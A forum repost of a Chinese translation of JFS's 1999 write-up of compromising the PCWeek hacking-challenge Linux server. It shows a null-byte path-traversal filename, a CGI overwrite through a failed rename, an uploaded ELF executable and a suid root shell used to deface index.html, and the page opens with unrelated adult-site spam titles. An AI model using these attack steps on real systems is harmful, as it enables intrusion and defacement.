国产十八禁AV网站,欧美日韩亚洲国产综合乱,亚洲国产aⅴ成人精品无吗,秋霞午夜福利影院合集

<object id="w7g7a"></object>

<dfn id="w7g7a"></dfn>

切換到窄版

汶上信息港»汶上中都社區(qū) › 電腦綜合 › 技術(shù)文獻 › JFS侵入PCWEEK-LINUX主機的詳細過程

返回列表發(fā)新帖

JFS侵入PCWEEK-LINUX主機的詳細過程

電梯直達

1^#

發(fā)表于 2011-1-13 17:09:26 | 只看該作者 |倒序瀏覽 |閱讀模式

譯者注：PCWeek-Linux 主機是著名電腦雜志 PCWeek 為了測試 WEB 服務(wù)器 IIS（NT平臺）
和 Apache（Linux平臺）的安全性，提供給黑客/駭客攻擊的兩臺主機之一。另一臺主機安裝
的是 IIS（NT平臺）。詳細情況請訪問網(wǎng)站：http://www.hackpcweek.com/。

首先要進行的當然是——收集遠端主機信息：打開的端口和提供的網(wǎng)絡(luò)服務(wù)等。經(jīng)過掃
描后發(fā)現(xiàn)大多數(shù)端口都被過濾掉了，原因可能是安裝了防火墻或設(shè)置了 TCP-Wrapper 。所
以我們只能從 HTTP 服務(wù)器著手了。

lemming:~# telnet securelinux.hackpcweek.com 80
Trying 208.184.64.170...
Connected to securelinux.hackpcweek.com.
Escape character is '^]'.
POST X HTTP/1.0

HTTP/1.1 400 Bad Request
Date: Fri, 24 Sep 1999 23:42:15 GMT
Server: Apache/1.3.6 (Unix) (Red Hat/Linux)
(...)
Connection closed by foreign host.
lemming:~#

嗯，服務(wù)器操作系統(tǒng)是 Red Hat，WEB服務(wù)器是 Apache/1.3.6。從網(wǎng)頁上可知服務(wù)器安
裝了 mod_perl，但只有一個 fingerprint 功能，對我們沒有什么用處。
Apache 1.3.6 本身沒有包含任何可供遠端用戶使用的CGI程序，但我們不清楚Red Hat
的發(fā)行版本中是否有，所以我們進行了一些測試（test-cgi, wwwboard, count.cgi等）。
結(jié)果令人失望。于是我們嘗試找出網(wǎng)站的結(jié)構(gòu)。經(jīng)過對該網(wǎng)站HTML頁的分析，終于找出
了網(wǎng)站DocumentRoot下的目錄結(jié)構(gòu)：

/
/cgi-bin
/photoads/
/photoads/cgi-bin

很自然地，我們的眼光落在 photoads 這個安裝模塊上。該商用CGI包可在"http://
www.hoffoce.com"找到，價格為$149，包括供檢查和修改用的PERL源代碼。
我們找到一個朋友，了解和掌握 photoads 在 Linux 平臺上的安裝情況，從而大致清楚
運行在該主機上的 photoads。
檢查了缺省安裝的文件后，我們發(fā)現(xiàn)可以取得所有用戶名及其口令的數(shù)據(jù)庫（http://
securelinux.hackpcweek.com/photoads/ads_data.pl），但當我們試圖訪問配置文件
/photoads/cgi-bin/photo_cfg.pl 時，服務(wù)器的設(shè)置拒絕了這個請求。
通過 /photoads/cgi-bin/env.cgi，我們可以知道該服務(wù)器的許多詳細情況，如
DocumentRoot 在文件系統(tǒng)的位置（/home/httpd/html），運行 Apache 服務(wù)器的用戶（
nobody）等。
現(xiàn)在，開始尋找漏洞的第一步，我們嘗試尋找是否存在 SSI 或 mod_perl 嵌入 HTML
命令的漏洞，如：

 for SSI
 for mod_perl

但腳本中的匹配表達式卻在許多輸入域上過濾此類輸入。不過與此同時我們卻發(fā)現(xiàn)有一
個用戶賦值的變量在轉(zhuǎn)換成 HTML 代碼前，并沒有檢查其值的合法性。我們可以通過它將命
令嵌入到由服務(wù)器端解析的 HTML 代碼中：

在 post.cgi，行 36：
print "you are trying to post an AD from another URL:<b> $ENV{'HTTP_REFERER'}\n";

$ENV{'HTTP_REFERER'}是一個用戶賦值的變量，我們可以通過它將任何 HTML 嵌入到代
碼中。
請閱讀我們提供的文件 getit.ssi 和 getit.mod_perl。
在命令行下使用這些文件如下：

lemming:~# cat getit.ssi | nc securelinux.hackpcweek.com 80

但不幸的是，該主機的配置并不允許 SSI 或 mod_perl，所以我們無法利用這個方法侵
入系統(tǒng)。

因此我們決定在CGI腳本中尋找缺口。在PERL腳本中許多漏洞往往出現(xiàn)在 open()、
system() 或 `` 等調(diào)用中，前一個允許讀/寫/執(zhí)行，而后兩個允許執(zhí)行。
雖然在該主機找不到后兩種調(diào)用，但我們卻發(fā)現(xiàn)了一些 open() 調(diào)用：

lemming:~/photoads/cgi-bin# grep 'open.*(.*)' *cgi | more

advisory.cgi: open (DATA, "$BaseDir/$DataFile");
edit.cgi: open (DATA, ">$BaseDir/$DataFile");
edit.cgi: open(MAIL, "|$mailprog -t") || die "Can't open $mailprog!\n";
photo.cgi: open(ULFD,">$write_file") || die show_upload_failed("$write_file $!");
photo.cgi: open ( FILE, $filename );
(...)

$BaseDir 和 $DataFile 兩個變量是在配置文件中定義，且不能在運行時修改，無法被
我們利用。
但其余兩個就……

在 photo.cgi，行 132：
$write_file = $Upload_Dir.$filename;

open(ULFD,">$write_file") || die show_upload_failed("$write_file $!");
print ULFD $UPLOAD{'FILE_CONTENT'};
close(ULFD);

因此，如果我們可以修改 $write_file 變量，就可以寫文件系統(tǒng)中的任何文件。
$write_file 變量來自：

$write_file = $Upload_Dir.$filename;

其中，$Upload_Dir 在配置文件中定義，我們無法修改，但 $filename 變量又如何呢？

在 photo.cgi，行 226：
if( !$UPLOAD{'FILE_NAME'} ) { show_file_not_found(); }

$filename = lc($UPLOAD{'FILE_NAME'});
$filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;

if ($filename =~ m/gif/) {
$type = '.gif';
}elsif ($filename =~ m/jpg/) {
$type = '.jpg';
}else{
{&Not_Valid_Image}
}

由此可知，該變量來自從提交表格的變量組分解出來的 $UPLOAD{'FILE_NAME'}，而且必
須經(jīng)過匹配表達式過濾，因此我們不能用"../../../../../../../../etc/passwd"格式來取
得任何文件。匹配表達式為：

$filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;

我們看到，如 $filename 與該表達式匹配，則返回ASCII碼1（SOH）。同時，變量還必
須包含"gif"或"jpg"，以通過 Not_Valid_Image 過濾器。
經(jīng)過多次嘗試，以及從 Phrack 的關(guān)于PERL CGI安全性文章的幫助，我們發(fā)現(xiàn)以下格式

/jfs/\../../../../../../../export/www/htdocs/index.html%00.gif

可以成功修改WEB服務(wù)器根目錄下的index.html文件。:-)
然而，為了上載文件，我們?nèi)皂毨@過更多的腳本代碼。我們發(fā)現(xiàn)無法通過POST方法發(fā)送
包含上述內(nèi)容的表格（無法轉(zhuǎn)換%00），唯一的方法只能是GET。
在 photo.cgi ，行 256，會檢查被上載文件的內(nèi)容是否符合圖像定義（寬/長/大?。?font class="jammer">$ D" x: S- v4 m" V
（記住，photo.cgi 是被當作某個AD上載圖像的一個方法）。如果不符合這些細節(jié)，腳本將
刪除該上載文件。這當然不是我們所希望的！
PCWeek 網(wǎng)站配置文件將 Imagesize 設(shè)為 0，所以我們可以忽略該腳本中有關(guān)JPG部分，
而將主要精力集中在GIF上。

if ( substr ( $filename, -4, 4 ) eq ".gif" ) {
open ( FILE, $filename );
my $head;
my $gHeadFmt = "A6vvb8CC";
my $pictDescFmt = "vvvvb8";
read FILE, $head, 13;
(my $GIF8xa, $width, $height, my $resFlags, my $bgColor, my $w2h) = unpack $gHeadFmt, $head;
close FILE;
$PhotoWidth = $width;
$PhotoHeight = $height;
$PhotoSize = $size;
return;
}

在 photo.cgi，行 140：

if (($PhotoWidth eq "") || ($PhotoWidth > '700')) {
{&Not_Valid_Image}
}

if ($PhotoWidth > $ImgWidth || $PhotoHeight > $ImgHeight) {
{&Height_Width}
}

由上可知，$PhotoWidth不能大于700，不能為空，且不能大于 $ImgWidth（缺省為350）
。
所以我們使 $PhotoWidth!="" 且 $Photowidth<350 即可。
對于 $PhotoHeight，則必須小于 $ImgHeight（缺省為250）。
綜合以上要求，我們可以得到一個可以使用的數(shù)據(jù)：$PhotoWidth==$PhotoHeight==0。
研究提取該值的腳本后，我們唯一要做的就是將文件的第6至第9字節(jié)的值置為 ASCII 碼 0
（NUL）。
在確保 FILE_CONTENT（文件內(nèi)容）符合以上所有要求后，我們又在以下代碼遇到了另一
個問題：

chmod 0755, $Upload_Dir.$filename;
$newname = $AdNum;
rename("$write_file", "$Upload_Dir/$newname");

Show_Upload_Success($write_file);

哇！文件將被改名/移動（這可是我們絕對不希望的！）。
查找 $AdNum 變量的最終處理過程，我們發(fā)現(xiàn)它只能包含數(shù)字：

$UPLOAD{'AdNum'} =~ tr/0-9//cd;
$UPLOAD{'Password'} =~ tr/a-zA-Z0-9!+&#%$@*//cd;
$AdNum = $UPLOAD{'AdNum'};

其余的字符將被刪除。因此我們不能直接應(yīng)用"../../../"這種方法。
那么，應(yīng)該怎樣做呢？我們看到 rename() 函數(shù)需要兩個參數(shù)：舊的路徑和新的路徑。
哈哈，在函數(shù)過程中沒有錯誤檢查！當函數(shù)出錯后將跳到下一行繼續(xù)執(zhí)行！那么如何才能使
該函數(shù)失敗呢？Linux 內(nèi)核對文件名長度限制為1024字節(jié)。因此如能使腳本將文件改名時新
文件名超過1024字節(jié)長，即可繞過這個過濾器。
所以，下一步就是要向系統(tǒng)傳遞一個大約1024字節(jié)長的AD號碼。但由于腳本僅允許我們
發(fā)送對應(yīng)AD號碼已存在的圖片，而且由系統(tǒng)產(chǎn)生一個10^1024（10的1024次冪，即小數(shù)點前有
1024個數(shù)字——backend注）的AD號碼要花的時間對我們來說似乎太長了。;-)
我們又遇到另一個難題了！……

我們發(fā)現(xiàn)輸入錯誤檢查函數(shù)可以幫助我們創(chuàng)建一個指定的AD號碼！瀏覽 edit.cgi 腳本
后，你也許就會想到：如果輸入是一個文件名+回車符+一個1024位的數(shù)字，會產(chǎn)生什么結(jié)果
呢？;-)
請閱讀用于創(chuàng)建新AD值的程序文件 long.adnum。
當成功繞過 $AdNum 的檢查后，我們就可以讓腳本創(chuàng)建/覆蓋用戶 nobody 有權(quán)寫的任何
文件，其中包含了我們所希望的東西（GIF頭部的NUL除外）。

現(xiàn)在就讓我們對該主機試一試這個方法。
嗯，so far so good（一切順利）。但當我們試圖讓腳本改寫 index.html 文件時無法
成功。:( 其中的原因可能是沒有覆蓋該文件的權(quán)限（該文件由root擁有）。

讓我們試一下是否還有其它入侵方法……

我們決定嘗試修改CGI程序，以使其按我們的意愿運行:)。這種方法還可以讓我們搜尋那
些“絕密”文件，然后拿出動賣。:)
我們修改了“覆蓋”腳本，并讓其成功地覆蓋了一個CGI！:) 為了不覆蓋那些較為重要
的CGI（這是提高隱蔽性的聰明法子——backend注），最后我們選擇了 advisory.cgi（你知
道它有什么用嗎？:)）
現(xiàn)在，我們將要上載一個shell腳本，以便我們可以執(zhí)行一些命令。呵呵
然而，這個以CGI方式運行的shell腳本必須符合以下格式：

#!/bin/sh
echo "Content-type: text/html"
find / "*secret*" -print

同時要記得，第6至第9字節(jié)必須為0或很小的值，以符合上面提及的大小定義……

#!/bi\00\00\00\00n/sh

以上這種方法是行不通的，內(nèi)核只會讀取前5個字節(jié)（#!/bi）內(nèi)容并執(zhí)行。在該主機中
我們無法只用三個字節(jié)去獲得一個shell。又遇到難題了！:(

讓我們看一下ELF（Linux缺省可執(zhí)行類型）二進制文件格式，就會發(fā)現(xiàn)那些位置字節(jié)的
內(nèi)容均為0x00。:) Yohoo :)
解決了這個問題后，現(xiàn)在我們需要將這個ELF可執(zhí)行文件上載到遠端服務(wù)器中。注意，文
件內(nèi)容必須經(jīng)過編碼，因為我們已知道只能通過GET方法上載，而不是POST。因此還要考慮到
URI的最大長度。Apache 服務(wù)器上URI最大長度設(shè)為8190字節(jié)。別忘了，我們還有一個很長的
1024字節(jié)的AD號碼，所以經(jīng)編碼后的ELF文件長度限制為大約7000字節(jié)。

以下這個程序：

lemming:~/pcweek/hack/POST# cat fin.c
#include <stdio.h>
main()
{
printf("Content-type: text/html\n\n\r");
fflush(stdout);
execlp("/usr/bin/find","find","/",0);
}

編譯后：

lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 4280 Sep 25 04:18 fin*

優(yōu)化（清除symbols）后：

lemming:~/pcweek/hack/POST# strip fin
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 2812 Sep 25 04:18 fin*
lemming:~/pcweek/hack/POST#

URL編碼后：

lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
lemming:~/pcweek/hack/POST# ls -l fin.url
-rw-r--r-- 1 root root 7602 Sep 25 04:20 fin.url

這個文件大小超過了限制值。:(
我們只能自行編輯二進制文件以盡量減小文件體積。這可不是一件輕松的工作，但卻有
效：

lemming:~/pcweek/hack/POST# joe fin
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 1693 Sep 25 04:22 fin*
lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
lemming:~/pcweek/hack/POST# ls -l fin.url
-rw-r--r-- 1 root root 4535 Sep 25 04:22 fin.url
lemming:~/pcweek/hack/POST#

請閱讀 get.sec.find文件，還有 to_url 腳本和用來運行一些基本命令的*.c文件。

現(xiàn)在，將這個CGI上載到服務(wù)器，再用瀏覽器訪問它，如：

wget http://securelinux.hackpcweek.com/photoads/cgi-bin/advisory.cgi

服務(wù)器返回的結(jié)果相當于在服務(wù)器上執(zhí)行 find / 命令。:)
但我們在該服務(wù)器中找不到任何“絕密”文件，或許是nobody用戶無權(quán)訪問的緣故。:(
我們嘗試了更多的命令搜索，如ls等，但仍無法找到它們的蹤影。
[我懷疑這些文件是否真的保存在該服務(wù)器上！]

好了，現(xiàn)在是獲取 root 權(quán)限的時候了。利用最新發(fā)現(xiàn)的 Red Hat crontab 漏洞就可以
輕松做到這一點。該漏洞詳情請參閱 Bugtraq 或 securityfocus 上相關(guān)文檔。
我們修改了源程序以適應(yīng)自己的需要，因為我們不需交互式 root shell，而是創(chuàng)建一個
用戶 nobody 可訪問的 suid root shell，如 /tmp/.bs。我們再次上載該CGI，并運行它，
觀察其運行結(jié)果。
我們制作了執(zhí)行"ls /tmp"命令的CGI，執(zhí)行后確認我們已擁有了一個 suid root shell。
另外，我們還上載了一個文件 /tmp/xx，用于修改 index.html 文件。

execlp("/tmp/.bs","ls","-c","cp /tmp/xx /home/httpd/html/index.html",0);

好了。游戲結(jié)束！:)
總共花費了大約20個小時，還算不錯！呵呵。:)

分享到: QQ好友和群 QQ空間

收藏0 轉(zhuǎn)播 分享 淘帖0 頂上來0 踩下去0

回復

使用道具舉報

返回列表發(fā)新帖

|本地廣告聯(lián)系: QQ:905790666 TEL:13176190456|Archiver|手機版|小黑屋|汶上信息港 ( 魯ICP備19052200號-1 )

GMT+8, 2025-4-20 18:36

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回復 返回頂部 返回列表